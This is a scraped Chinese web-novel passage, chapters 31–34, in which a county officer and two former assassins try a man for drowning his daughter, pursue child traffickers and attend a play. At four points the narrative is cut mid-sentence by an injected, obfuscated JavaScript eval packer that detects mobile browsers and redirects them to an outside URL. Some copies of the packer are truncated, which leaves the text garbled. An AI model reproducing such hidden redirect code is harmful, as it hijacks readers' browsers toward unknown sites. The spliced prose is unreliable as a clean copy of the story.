“二位先莫急,近些日子衙门正在查的案子也与孩童失踪有关,先随我去登记一下孩子的信息,让画师画了像,官府会尽快寻找。” 听了这话,他们二人才略微放下心,急急忙忙随宋准去登记信息,生怕晚了一刻孩子就再也回不来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538810|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送走了那对夫妻,宋准又再检查了一遍这些日子所收集起来的线索,在脑中重新织成了一张网,蛛网虽大,但中心的蜘蛛仍然能够通过每根蛛丝传来的细微振动,知道哪根已经断裂,哪根上已经捕获了猎物。 眼看太阳要落山了,快到柳晏放值的时候,宋准便放下卷宗往染坊巷巷口的榕树下去,路上又买了几块糕点。 令狐朝说的,那孩子只是看起来像个大人,其实心里就是个孩童,分不清自己的情感,也分不清善与恶。 宋准趴在石桥栏杆上看水渠里的水草,顺着水流倒向一侧,不知怎的就看入了神,直到后背被人拍了一下,才回过神来。 “看什么呢惟衡?”柳晏笑着探头去瞧他的脸。 “啊!”宋准被吓得整个人一抖,反应过来后不好意思地摸摸脸说,“没…没什么,就是那些水草。喏,给你买了几块糕点,不是云香坊的,但闻着挺香,你尝尝。” “哇,这么好,那我就不跟你客气了。”他拿出一块儿来咬了一口,嚼嚼嚼,一歪头说,“还不错嘛。对了,晦言怎么样了?能走路了吗?” “我下午离开的时候他可以扶着东西挪动了,现在应该是没事儿了。方才有一对夫妻来报案,说自家孩子丢了几日了,处理完这些我就赶着来接你,还没顾上去看他。” “那正好,我们一起去就是。” 二人有一搭没一搭地聊着,不多时就到了运河边,令狐朝的小船亮着灯,有悠扬的琴声传出来,柳晏听到了很是高兴,忙不迭跑上船,从身后抱住了令狐朝。 “晦言!”他抱得快,松手也快,不给令狐朝任何反应的时间,把头凑到他面前问,“你身上还难受吗?能自己走路了吗?大夫给的药喝了吗” 令狐朝看着他,十分无奈地笑笑:“不难受了,能走路了,药正煎着呢。” “啊!太好了。”听到满意的回答,柳晏便躺倒在了榻上,“你不知道我有多担心你,我还怕你从此都没法自己走路了,那我就只能把你接到楼里,我来亲自照顾了。” “你说这种话的时候也装的像些,我只看出来你兴奋,哪有半点担心的模样。”令狐朝不理会他,继续弹着剩下的半阙,宋准坐在榻边没说什么,看着柳晏和令狐朝斗嘴,竟觉得还挺有意思。 一曲毕,令狐朝转过身来问柳晏:“你这半天也没打听到些什么消息?” “啊?没…没有啊。”柳晏冷不丁被问到,一时间竟然结巴起来。 令狐朝一看他这副模样,便知道他在撒谎,凑近了眯起眼睛看他:“你,是不是又干什么好事儿了?” “没有啊,我怎么会…我不是一直在织坊盯着呢吗。”柳晏的眼神开始躲闪起来,落在令狐朝眼里,就是十足十的心虚,他再了解他不过,多半是听人说了什么话或者看见了什么,立场又摇摆起来了。 “惟衡,摁住他。”令狐朝说。 “啊?”宋准一愣,还没反应过来,柳晏就已经起身想往外走,被令狐朝一把抓住甩在了榻上,宋准这才顺势将他摁住了,十分茫然地问:“令狐兄,怎么了这是?” 令狐朝坐在了榻边,低头看着柳晏还在躲闪的眼睛:“你今天又是听谁说了什么了?” “不是,没有,我真的没有…”柳晏的下巴被令狐朝掰住了,让他没办法再扭头躲闪,他只好那样看着令狐朝,眼神闪烁着,紧紧抿着双唇,没争辩,也没再说任何话。 31.数罪并罚 整晚,柳晏始终对织坊的事情讳莫如深,不愿提起,无论令狐朝说什么,他都只是沉默,几次想试着岔开话题,又会被立刻引回来。 最后了,他实在没有办法,挣扎之下,看着令狐朝的眼睛对他说:“对不起,晦言,这一次我没有办法站在你们这边。” 他眼里有什么光突然灭掉了,说完,他垂眸下去,看着炭炉上已经滚起来的药,屋里安静极了,只有那罐药在咕噜咕噜地响,像是要顶破了罐盖,溢到地上去。 令狐朝看见他那个样子,走上前去摸了摸他的脑袋,说:“没事,我知道你对善恶有自己的理解和判断,你既然已经做好了决定,我不会勉强你一定要帮我,你做你认为正确的事情就可以了。” 柳晏闻言有些不可置信地抬起头,眼眶里盈满了泪水,张了张嘴没说出话,又把头埋进膝盖里小声啜泣起来。 令狐朝见状拉着宋准去了船尾,出门时宋准还有些不放心地回头看他,令狐朝说:“没事儿,让他自己待会儿就好了。” “令狐兄,稚言说的那些是…因为什么?”宋准虽然这样问,但心中也有了几分猜测,想问问令狐朝是不是也一样。 “我们一开始的猜测是对的,这些孩童的丢失一定和织坊密切相关,稚言不是善恶不分,他能这样说,那织坊一定不是我们的敌人。” “既然这样,织坊会不会和周娘娘有关呢?” “我觉得应该再大胆一点,很可能织坊就是周娘娘,或者是她们在扮演周娘娘的角色。但是她们也一定做了一些违背律法或者道德的事情,所以稚言才不愿说出来。” 宋准皱起了眉头,思索着应该怎么解决这些问题,目前看来,只有将三槐堂的人抓到了,才能知道谜底。 令狐朝拍了拍他的肩头,对他说:“没事儿,船到桥头自然沉,不是,直。去把稚言送回去吧,明日升堂审案,先把小满的事情解决,路要一步一步走,事儿要一件一件办。” “好。”宋准点了点头,随令狐朝回了船舱里。 令狐朝端下了炭炉上的药罐,倒在碗里晾着,柳晏缩在榻边的角落里,红着眼睛看他,许久,他蔫蔫地说:“你今晚要和我睡。” “哈?”令狐朝露出十分疑惑的表情歪头瞧他,“你没事儿吧?” “我不放心,白天有惟衡看着你,晚上他总不能还把你盯着,万一你趁我们不在又吃了什么东西把自己放倒,我今后要怎么办?” 令狐朝翻了个白眼儿,问他:“柳老板楼里的生意不做了?” “楼里有白兔,我早就嘱咐好了。” “行,都随你,那你是不打算回吟兰苑了?” 柳晏跪坐起身,手撑在榻边凑近了他说:“回也可以,你得和我一起回,这几日,你不能离开我的视线。” “行。”令狐朝咬牙切齿,伸手把他摁回榻上,“明日你还去织坊吗?” “不去了。”他闷闷地说,“骗了她们我已经很愧疚了,不想再这样。” 令狐朝笑了笑,转头对宋准道:“惟衡,后面的案子就只能先靠我们自己了,不过应该也不是难事,明日你去哪儿,我都随你同去。” “好,多谢令狐兄。那个,时候不早了,我就先回县廨了,我想再看看卷宗。” “也好,我送送你。”令狐朝说着,和他一起出了门,将宋准送到河岸上,又跟他说:“看稚言的样子,织坊多半和三槐堂没有什么关系,我们就当没有织坊这回事,只查三槐堂便是。” 宋准点点头说:“令狐兄和我想的一样,我知道该怎么做。明日一早县令便要升堂审案,令狐兄喝了药早些休息。” “好,明日见。” 令狐朝回了船上,方才的药温度正好,他端起来一饮而尽,那药是极苦的,饮下感觉整个人都要皱起来了,咬着牙从药柜里翻出蜜糖含进嘴里,才稍有缓解。 “晦言,你会怪我吗?”柳晏怯怯地问他。 他整理着药柜里的东西,头也没回,说:“怎么会怪你,你本来就是来帮忙的,这些不是你应该做的,你有自己的想法也不奇怪。” 柳晏抿了抿唇,又问:“那如果因为我,这个案子破不了呢?” “怎么会这样想?”令狐朝反问他,回过身去看他的脸,“你不是还想再做些什么违法乱纪的事吧?” “不是不是!”柳晏忙摆手否认,“我就是…我最多给她们些帮助,再多的我就不插手了,我也不想让你难做。” 令狐朝笑了笑,回头接着整理桌上的杂物,跟他说:“好了,这件事就算过去了,做一天工也累了吧,早些休息。” 说完他看着整理好的桌子和药柜,满意地点点头,吹灭灯爬上了榻。 “我能抱着你吗?”柳晏缩在里面小声问。 令狐朝深吸了一口气,说:“睡不了就滚下去。” “哦。”柳晏蔫蔫地应了一声,翻了个身背对他睡下了。 次日早晨醒来,柳晏还是整个人缠在令狐朝身上,令狐朝叹了口气,推推他:“稚言,起来。” “啊?啊欠~别丢下我…”他含含糊糊地嘟囔着,伸手揉眼睛,才发现令狐朝被自己圈在怀里,瞬间便清醒了过来。 “好了,醒了就松手了,腿下去。”令狐朝又推了推他,他这才收回手脚,脸上不知为什么泛起了一片红晕,用被子把自己裹了个严实。 令狐朝已经下床烧水更衣,看柳晏那副样子坐在角落,问他:“你这又是在搞什么?不下来收拾收拾?” “嗯…那个,等一会儿…我那个…你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545171|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道的…”柳晏垂着眼吞吞吐吐地说,脸上更红了,连带着耳朵也红得像要滴血。 令狐朝一眯眼,立刻就知道了他说的是什么,便也不再问他,翻了个白眼出去洗漱了。 辰时,宋准和陈捕头去城根底下带王福妹和几个愿意做证人的邻居回衙门,一路上都没人说话,就这样沉默着到了县衙门前,门口已经围了一些看热闹的百姓,宋准费了些力才把王福妹她们带进去。 回去时,令狐朝已经到了,他站在几个衙役身后,看到宋准过来,向他微微颔首,宋准也向他的方向笑笑。 陈二狗也被狱卒押了上来,王县令一拍惊堂木:“升堂!” “堂下之人报上名来。”主簿在一旁说道。 陈二狗跪趴在地,结结巴巴地应道:“小…小人陈二狗,临安县人。” 王县令翻阅了宋准整理好的证据,问陈二狗:“陈二狗,你卖女为雏伎,又怕自己遭人议论,将女儿谋杀,你可知罪?” “我…我我我不是我!县令大人,小人冤枉啊!” 王福妹此刻在一旁跪下道:“县令大人,民妇王福妹,是此人的妻子,死者陈小满是我的女儿,就是他将我家小满卖给了人牙子!” “好你个吃里扒外……”陈二狗咒骂的话未说完,就被宋准一个眼神吓了回去。 王县令见状,微微点了点头,问:“可有证人作证?” “回县令,证人正在堂下等候”宋准说。 “带上来吧。” “是。” 几个邻居上前,讲述了陈二狗平日里对王福妹的殴打辱骂,以及看到他带着小满在街头与人牙子商议价钱,那个叫江正的秀才也说明了案发前日在运河边见到陈二狗带着小满经过的事情。 王县令听完后又问陈二狗:“事已至此,你还要抵赖吗?据本官所知,你的岳父岳母也是因你而死,不错吧?身为女婿不孝顺岳丈,身为丈夫不尊重爱护妻子,身为父亲不尽抚养之责,还将亲生女儿卖为雏伎,陈二狗你该当何罪?!” 惊堂木重重拍下,吓得陈二狗浑身打颤,哆哆嗦嗦地磕着头说:“我认我认,是我卖了招…不对,小满,是我将她推入河中溺死……” 陈二狗后又详细说了他是如何做的这些事情,如何将小满从家中骗出带去三槐堂,又趁人不备将她带到运河边踹下河里,期间小满因为不断挣扎想逃,他还时不时殴打。 主簿在一旁整理好了陈二狗的口供,王县令看过无误后拿去给陈二狗签字画押,这登徒子大字不识一个,又要主簿给他念了一遍才摁上了手印。 “陈二狗,对王福妹父母施以暴行,构成了义绝,二人婚事判离,王福妹可回归本家。卖女为雏伎,无故谋杀子女,数罪并罚,杖三十,流放千里,退堂!” 32.私刑 陈二狗被带下去行刑了,王福妹眼含热泪跪在了堂前,叩首道:“民妇多谢县令,县尉为我家小满处置了那个恶人,若不是……” 说到这里她哽咽着再也说不下去,整个人颤抖着,一位来做证人的大娘过去将她扶起,她靠在大娘身上哭得难以自抑。 “好了,王福妹,今后改嫁也好什么也好,好好过日子,把孩子们都照顾好了。”王县令说着,摆摆手离开了。 宋准送走了她和那些证人,走到令狐朝身边:“令狐兄,稚言还好吗?” “好着呢,活蹦乱跳的。”令狐朝笑了笑,又问,“接下来你预备怎么办?三槐堂还是没有消息吗?” “嗯。陈二狗和三槐堂的人做过交易,一会儿去找个画师把和他交易的人画下来。” “别另找什么画师了,让稚言去,他正因为帮不上忙在那内疚呢。”说完令狐朝指了指衙门外,一张白净漂亮的脸正从石狮子后面探出来往里瞧着。 看到自己被发现,他像个被拎住耳朵的兔子一样呆愣在原地,缓缓眨了眨眼睛,十分扭捏地走了出来。 他今日穿的是男装,天水碧的长衫,领口是檀色的压边,上有些简单的纹样,腰间系着一条镶了玉的黑金腰带,坠了一块玉佩,瞧着似乎是蝴蝶的模样,长发束在头顶,戴了玉冠和一支玉簪。 并不是很繁复奢靡的打扮,在他身上却透着一股子贵气。 令狐朝看他那副样子,笑着问他:“穿得这么漂亮,躲在外面干嘛?” “我…我来看看有什么能帮忙的……”柳晏支支吾吾道,“织坊的事情我不能说,总要让我在其他地方补偿一下。” 宋准闻言也笑了,上前拍了拍他的肩膀说:“别这么客气,你来都来了,我请你去牢里坐坐?” “啊…啊?这…这不好吧这…我…我那个…我想起来我还有事我先走了!”柳晏一骨碌说完了这一句话就想转身跑走,却被令狐朝抓住了后衣领动弹不得,“我…我还不至于要坐牢吧……” 令狐朝无奈地松开他的衣领说:“是让你去牢里帮忙画个像,不是让你坐牢。” “这样吗…那就好,那就好,嘻嘻。”他笑了起来,上前想挽住令狐朝的胳膊,令狐朝笑着对他摇了摇头,他便识趣地收回了手。 县衙大牢里,刚挨完三十杖的陈二狗趴在地上呻吟,宋准站在牢门外问他:“陈二狗,当初与你做交易的人长什么样子?” 陈二狗挣扎着转过头来,喘着粗气说:“哈…老子…凭什么…告诉你?啊?” “都这样了还不知道服软吗?” “我呸!服你…*的软,老子…啊!”他话没说完,伤处不知道被什么东西打中,疼得他大叫起来,不住地倒吸冷气。 宋准回头去看,发现柳晏一脸义愤填膺的表情,手上拿着枚铜钱正欲扔出,宋准立刻过去按下他的手,摇摇头用口型说了个“不可”,转身对陈二狗道:“你若老实交代,我能让你养好了伤再上路,否则,你就这样往岭南去吧。” 顿了顿他又补充道:“岭南的气候最是湿热,又多蚊虫叮咬,你是个好脑筋,想一想,你这样去,会不会死在半道上。我只给你半柱香的时间考虑,要么老老实实问什么答什么,要么现在就押送你去岭南!” 说完他拉着令狐朝和柳晏出了牢房,到外面无人处,他才对柳晏说:“稚言,万万不可对囚犯动私刑,他们的罪自有律法审判,我们是没有立场去加私刑的。” “凭什么?他都那样了还死鸭子嘴硬,口出狂言,我没扔刀子已经算便宜他了!”柳晏的语气恨恨的,皱着眉,十分不理解宋准的话。 令狐朝抚了抚他的背,对他说:“你不替朝廷办事,你自然不理解,你就当是为了惟衡,你是他请来帮忙的,若是被发现动私刑,不管是因为什么,都会问责他的。” “啊,这样吗,好吧…”柳晏点了点头,对宋准说,“抱歉,惟衡,我以后不会了。” 宋准笑了笑说:“无妨,不知者无罪。时候差不多了,进去看看那个登徒子什么态度。” 这回再进去,陈二狗老老实实地将和他做交易的人的模样说了个清楚,柳晏根据他的描述画完画像,他确认无误,又不放心地问:“我都招了,我能好了再走吗?” “可以,我这人最讲究的就是一个信字,行了,好好养着吧。”宋准收起画像,和令狐朝柳晏一同出了牢房,回到了衙门。 路上柳晏还问:“是真的可以让他伤好了再走?” “不是,按律本来就是伤好了才流放的。”宋准笑着眨眨眼,“这种人不吓唬他一下不知道轻重。” “好啊惟衡,你可真是!”柳晏瞪大了眼睛,拍了一下他的后背,露出了十分欣赏的笑容。 陈捕头正准备去市集巡逻,宋准将画像递给他:“老陈,先等一下,写个通缉令张贴出去,再向周边各县和州里发文书,这两个人可能牵扯了多起孩童丢失案。” “好,今日巡逻县尉可要同去?” 宋准想了想说:“同去吧,好几日没去了,传出去该说我玩忽职守了。” “哈哈哈怎会,现在临安百姓谁不知道宋县尉一上任连破几案,夸您都来不及,怎会说您玩忽职守呢。”陈捕头十分憨厚地笑笑,脸上褶子都快堆起来了。 写好了通缉令和文书,请县令盖上印,宋准便和陈捕头一起去了市集上,柳晏和令狐朝跟着他们一起,是准备先去吟兰苑等他今日放值。 告示张贴出去,不少百姓都来围观,有识字的将那上面的内容念出来,大家都开始议论纷纷。 宋准站在一旁高声喊道:“这两人关乎众多悬而未决的孩童失踪案,大家若有消息,还请一定到衙门报案,也好让丢了的孩子们尽快回家!” 接下来的半日,宋准将城中大大小小的街巷都转了一遍,走得双足钝痛,不过也正好熟悉了城中的结构,遇到自来熟的百姓也上去和他们聊几句,于是连哪个巷子的酒香,哪家铺子的胭脂 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宋准听得入神了,乐音停了许久,他才反应过来,赞道:“我胸无点墨,只能想到一句,如听仙乐耳暂明,今日的疲累都不复在也。” “惟衡才是会听的人呢。”柳晏笑道,对着他皱了皱鼻子说,“平日里那些俗客,光知道什么‘真好听’啊,‘姑娘真有才’啊什么的屁话。今日我才理解,我若是伯牙,我也只愿为钟子期弹琴。” 令狐朝开始弹起另一首曲子,边弹边说道:“他善听,你也是个善道的,朽木都能让你说出花儿来,我瞧你们俩要胜似伯牙子期了。” “晦言,你这话是什么意思?你是不是吃味了?”柳晏笑着凑到他身前,歪着身子去戳他唇边那个浅浅的梨涡,“要是可以,我怎么会不想将你们二人都收入囊中呢,但是你知道的,我心里只有你的。” 宋准在一旁紧闭着嘴不敢说话,缓慢移动着远离他们二人,拼命降低自己的存在感,虽然他知道柳晏好男色,却从未想过他居然真对自己有过这种想法。 令狐朝倒是十分坦然,双手止了琴音,抬头掐住了柳晏的脖子:“一天不挨打你皮痒?我最近是不是对你太好了?你忘了我跟你说的话了是吧?” 看似紧紧箍住柳晏脖颈的手却并未用力,他知道自己能任性到什么地步,便用一只手握住了令狐朝的手腕,另一只手覆上他的侧脸,沙哑着声音道:“怎么会,你说的话,我都刻在心里,但是……” 后面的话他没说出来,因为令狐朝已经松开了手,垂眸看向了他本该直直垂落的长衫,意识到了什么,他立刻转身蹲下捂住脸。 “啊我我我我不是故意的我没想这样的我真的不是故意的我……”懊恼的声音从指缝中传出来,“啊啊啊啊啊……” 令狐朝将琴放到矮桌上,俯身在他脊背上拍拍:“行了行了,我就当没看见,惟衡也没看见,是吧?” 宋准连忙点头如捣蒜:“嗯嗯嗯,我什么也没看见,真的。” 33.醉江南 等柳晏平复下去终于肯站起来,宋准的肚子也适时地咕咕叫了几声,他轻轻咳了一声问:“你们饿吗?要不要去吃点儿什么?” 令狐朝爽快地答应了,柳晏坐在凳子上轻轻摸着那把箫,幽幽开口:“晦言,你还记得这把箫是怎么来的吗?” 那把箫是怎么来的?令狐朝自然是记得的。 那是第一次和柳晏一起出任务,是一个灭门的单子,就他们两个,要去干掉那家族里上百人,还有不少府兵,杂役,佣人,杀了三天三夜,直到入目全是血红,直到暴雨也没法将他们身上的血污冲刷掉。 许是见了太多血腥,许是淋了雨,回去之后柳晏就病了,高烧不退,睡梦里迷迷糊糊地说想要一把箫,令狐朝拿自己的佣金,在西凉的市集上为他买了最好的一把箫——就是如今柳晏手上的那一把。 “记得,怎么了?”令狐朝问。 柳晏十分珍重地将箫收进锦盒里,说:“怕你已经不记得,不过,即使你不记得也没关系,我永远记得。” 说完他笑了起来,看向宋准问:“惟衡想吃什么?我请客。” “啊?我都可以的,我不挑。” “那要不要去前厅看戏?今日要唱新戏哦,是我亲自排的,让他们送些吃食去二楼的厢房里,咱们一边看戏一边吃,如何?”柳晏笑着,似乎已经忘记了方才的尴尬局面。 令狐朝说:“不影响柳老板做生意吗?” “当然不会,我特意留的位置,你们不去,我也要去看的,怎么样惟衡,去不去?” 宋准点点头:“好啊。” “那就快走快走快走,马上就要开始啦!”柳晏推着他们二人出了门,往前厅二楼的厢房里去。 柳晏让伙计送了些十分精美的菜式和糕点上来,十分高兴地招呼宋准和令狐朝:“惟衡,你尝尝这个,再尝尝这个,还有还有,今天送了鲥鱼来,我特意给你留的,晦言快尝尝,我知道你最喜欢这些了。” “别光顾着给我们夹菜了,你自己也坐下吃吧。”宋准说,“没想到你们这里的吃食也这么讲究,我今日也算是有口福了。” “你们喜欢就好,不枉我去搜罗的这些东西。”柳晏坐下用手支着头,笑吟吟地着看他们。 戏台子早已经装点好了,不多时,便开唱了第一幕。 令狐朝靠着椅背嗑着炒南瓜籽,柳晏在旁给他们解释戏中的人物,还有他们的唱词:“这出戏叫《醉江南》,讲的是一个书生为了追诗里的仙女下江南,在江南流连忘返,虽然没有见到仙女,但是邂逅了一生的挚爱……” “啊,真是美好的爱情啊!”柳晏感叹着,十分享受地摇摇头,“不过第二幕就要有反转了。” “什么反转?”宋准问。 “你看了就知道啦。”柳晏眨眨眼,拿起一块糕点嚼嚼嚼,抿了一口茶,十分享受地随着乐曲晃着脑袋,轻声跟唱着。 果然,第二幕的情节开始奇怪了起来。 书生发现所谓的挚爱其实是仙女变的,而仙女也并非是什么仙女,而是被封印在诗册里的狐妖,甚至还是只男狐狸。 书生备受打击,收拾行囊回家乡去,路上遇到了个算命先生,算命先生说,他这一生有情劫要渡,需得过了这一劫,今后才能顺顺利利,而这一劫此刻正在江南等他。 看到这里,宋准露出个惊谔又疑惑的表情愣在原地,台上换景的时候扭过头问柳晏:“你这是什么鬼东西啊?” “哈哈哈哈哈好玩儿吧!是不是完全没有预想到!”柳晏拍掌大笑,又在令狐朝大腿上拍了一下问他,“诶,晦言,怎么样,你也没预想到吧?” 令狐朝闭眼皱眉,从鼻子里呼出股气说:“接下来该不会是书生和男狐狸精幸福快乐地生活在一起了吧。” “哎,庸俗,戏就是要反转再反转,才有趣儿呢,接着看接着看。” 第三幕里,书生毅然决然地选择离开江南回家乡去,但此后常常梦见江南的景色,花草树木都好似成了精,在跟他说话,唤他回江南去,尤其是他发现梦中的江南并非是此刻,而是十几年后的江南,梦里的算命先生说十几年后没有他的江南会遭遇灾祸。 于是他不断地往返于现实和梦境里面,拯救濒临崩解的世界,慢慢地,他发现梦里的情节影响到了当下的时间,他的生活也不再平静,他不堪其扰,还是去了一趟江南,小住了一段时日。 最后一幕就比较简短了,讲的是书生并未见到什么仙女什么挚爱什么男狐狸精,也没有遇到梦里的所谓灾祸的征兆,而他在这段日子里也突然醒悟,他爱的是江南,而并非是一个什么人,他的劫就是江南本身。 戏到这里就结束了,唱戏的伎子和乐伎们都出来谢幕,柳晏趴在厢房栏杆上大声叫好,投了一把碎银上台,陆陆续续地,也有些客人开始向台上扔赏钱,叫好声此起彼伏,楼上安排好的彩纸碎屑和花瓣洒下来,整个前厅热闹非凡。 令狐朝坐在椅子上几次欲言又止,最后还是伸手拉了拉柳晏的衣服,问他:“不是,你这个戏,是不是太奇怪了点儿?怎么这也有人爱看?” “不然怎么叫《醉江南》呢?这戏也就演这一次,是我赔本排的,演给我自己看,我开心了,我才能活下去。”柳晏看着下方的戏台,眼里带着笑意。 这场戏并不长,也就不到一个时辰,散场之后就开始演平日里的歌舞,柳晏转过头问:“要接着看歌舞吗?还是回房去聊聊天?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随后他试着弹了半阙,磕磕绊绊的,令狐朝在一旁却露出欣赏的目光,说:“你有多久没弹过琴了?还能弹出这半阙来,也不是学艺不精啊。” “令狐兄真是谬赞了,我也就记得这些。”宋准十分不好意思地笑笑,挠了挠头,“还是你和稚言来吧,我还是别再碰这些了,恐贻笑大方。” 柳晏过来坐到了令狐朝身边,说:“没关系呀,我和晦言怎么会笑你,人人都有不擅长的事,不过你不喜欢弹琴,平日里靠什么消遣?总不能让你一直随我们做这些。” “我似乎没什么特别喜欢做的事情,若一定要说出一个的话…我觉得听你们弹琴吹箫就挺不错的。” 令狐朝笑了笑说:“惟衡这才是会享福的命呢,既如此,那我再弹一曲?” “好啊。”宋准点点头。 34.长兄 这一夜,宋准和令狐朝都宿在了吟兰苑,柳晏房中那张榻不小,睡三个人也绰绰有余。 第二日一早,宋准从睡梦中惊醒,以为点卯要迟了,想了半天才反应过来今日休沐,才又安心地倒在枕上。 不过这样一折腾,他却也睡不着了,便起身穿衣,柳晏缠在令狐朝身上,不时发出舒服的呼噜声,瞧着像个孩子似的。 打开窗,昨夜里还晴朗的天气现下却飘起雨来了,一阵冷风吹进来,冻得宋准一哆嗦,立刻又关上了窗。 这一开一关的动静倒把令狐朝吵醒了,他睁开眼看看周围,啧了一声推开缠在身上的柳晏,起身下床走到窗边问:“怎么了?” “下雨了,风一吹有些冷,也不知道现在什么时辰了。” “我瞧瞧。”令狐朝上前去开了窗眯着眼向外看,说,“还早,也就刚辰时。今日你休沐,要不要回去再睡会儿?” 宋准摇了摇头,打了个哈欠道:“起身了便睡不着了。” “嗯,也好,那收拾一下去吃点儿东西?我知道市集上有家卖鱼汤的,做得很香。” “稚言还在睡呢,等他醒了一同去吧。” 令狐朝走到榻边说:“让他醒,那还不简单?” 伸手在柳晏脸上戳戳:“哎,小东西,起来了,开饭了。” “啊?”柳晏翻了个身,伸手在旁边摸摸,空无一物,睁开眼看看,正对上令狐朝的脸。 “要不要出去吃点儿东西?”令狐朝问他。 “啊,好啊,你拉我起来。”柳晏向令狐朝伸出手,里衣的袖子宽大,这一动作让他整条胳膊都露在外面,宋准看见他胳膊上深深浅浅的有许多条疤痕,触目惊心。 “稚言,你胳膊上这些疤是……”宋准走近了问。 令狐朝已经把柳晏拽了起来,他卷起袖子看看说:“你说这些?哎,做刺客哪有不受伤的,都好了,没事儿,平日里又看不见。” 说完他笑了笑,在令狐朝后背上摸摸:“晦言后背上还有一条半尺长的疤,和他比起来,我这些伤都不算什么。” 宋准目瞪口呆,视线转向令狐朝,他只是在柳晏脑袋上拍了一下说:“做刺客是什么光荣的事情吗?天天挂在嘴上。行了,快去收拾收拾出门了。” “那今日能让我帮你束发吗?”柳晏十分期待地看着令狐朝,眼睛亮晶晶的。 “行。”令狐朝答应得爽快,坐在了妆台前。 柳晏十分高兴,下了床顾不得套外衣,走到令狐朝身后,散开了他的头发,用梳子一点点梳着,倒了些桂花油,在他双耳上各编了几条辫子,后一同束在头顶,又拿了支镶松石的金簪替他戴上。 “啊,真是玉树临风的翩翩公子,面若冠玉眉目如画。”柳晏看着铜镜中的令狐朝,不住地赞叹,“即使是周公瑾在世也不相上下。” “别瞎拍马屁了,和你这张脸比起来,我还是甘拜下风。”令狐朝起身把他摁到镜子前面,“快收拾,饿了。” 令狐朝正要穿上昨日那件素色的长衫时,柳晏瞪大了眼睛说:“别穿那个,灰扑扑的不好看,我给你拿一件漂亮的。” 顾不得梳了一半的头发,柳晏跑去打开了他的衣柜,拿出了一件绯色的长衫递给他:“穿这个,这个漂亮。” 令狐朝接过来在身上比划比划,露出疑惑的眼神,柳晏似乎知道他要问什么,在他开口前就说:“是专门给你做的,我没穿过。” 宋准更衣回来时,就看到一身绯色长衫的令狐朝坐在矮榻边翻书,纸窗透过的天光并不亮,却感觉他整个人都璨若明珠。 “令狐兄,稚言对你做了什么?简直像换了个人似的。”宋准笑着走近了,也夸赞起来,“肤似白玉,目若朗星,这身衣裳极衬你。” “哈哈哈是吧!人靠衣装马靠鞍,晦言,我没说错吧!”柳晏十分高兴,又问宋准,“诶惟衡,你要不要也打扮打扮?我有一件月白的鹤氅,你穿一定好看。” 宋准闻言连忙摇头摆手拒绝:“啊?我一个粗人,还是不要搞这些了,束手束脚的我不太习惯。” 柳晏歪头看了看他,有些疑惑地说:“粗人怎么了?谁都可以打扮啊。不过你若不习惯就先算了,今后有机会我帮你好好收拾收拾,必能迷倒一片姑娘小姐。” 说完他眯眼笑笑,好像已经打了些什么坏主意。 他还是作昨日的打扮,天水碧的衫子,腰间坠一双蝶佩,头上戴玉簪,在脸上施了些胡粉,浅点了些胭脂,格外衬他那双眼睛。 三人各撑一把油纸伞出了吟兰苑,街上行人稀少,偶有几个都是撑着伞步履匆匆,怕多在外面就会多淋些雨。 远处杜鹃鸟鸣叫,顺着细风细雨穿过街巷,路边的柳树早已抽了新芽,在雨里分外妖娆。 “呜呼!天街小雨润如酥,草色遥看近却无~”柳晏做出一副指点江山的模样吟了句诗,然后凑到了宋准身边问,“诶,惟衡,你家是哪里的?” “扬州广陵。”宋准说。 “广陵宋氏?仿佛是个世家呢。”柳晏歪着头思索道。 宋准摆了摆手:“我长兄失踪之后家族就没落了,现在不过是个寒门罢了。” “你还有个长兄?”令狐朝问。 “嗯,我是家中的次子,扬州失陷的时候,我们举家迁徙,他在路上失踪了,很多年没有他的消息。” “啊?对不起啊惟衡,我不知道这个,惹你想到伤心事了。”柳晏忙在一旁道歉。 “无妨,也过去许多年了。” 柳晏想了想说:“不过,你长兄叫什么名字?长什么模样?我可以让人留意着,看看能不能打听到些消息。” 宋准轻抿了下唇,说:“我长兄名恪,失踪的时候还未到取字的年纪。模样的话…我和他长得很像,但他应该会比我略高些壮些,右眼下和鼻梁侧边各有一颗小痣。” “宋恪……仿佛没听过这样的名字。不过你放心,我叫人帮你留意着,要是有消息马上就来告诉你。”柳晏笑着拍了拍他的肩,一些顺伞滴下来的雨水落在了他手上,他甩甩手,重新撑好了伞。 到了令狐朝所说的那家鱼汤铺子,三人找了角落的位置坐下,令狐朝又刻意坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋准思索片刻,说:“我梦见我变成蝴蝶挂在了你腰上,你是那个书生,令狐兄是那个男狐狸精……哈,太骇人了,还是不要再回忆了。” 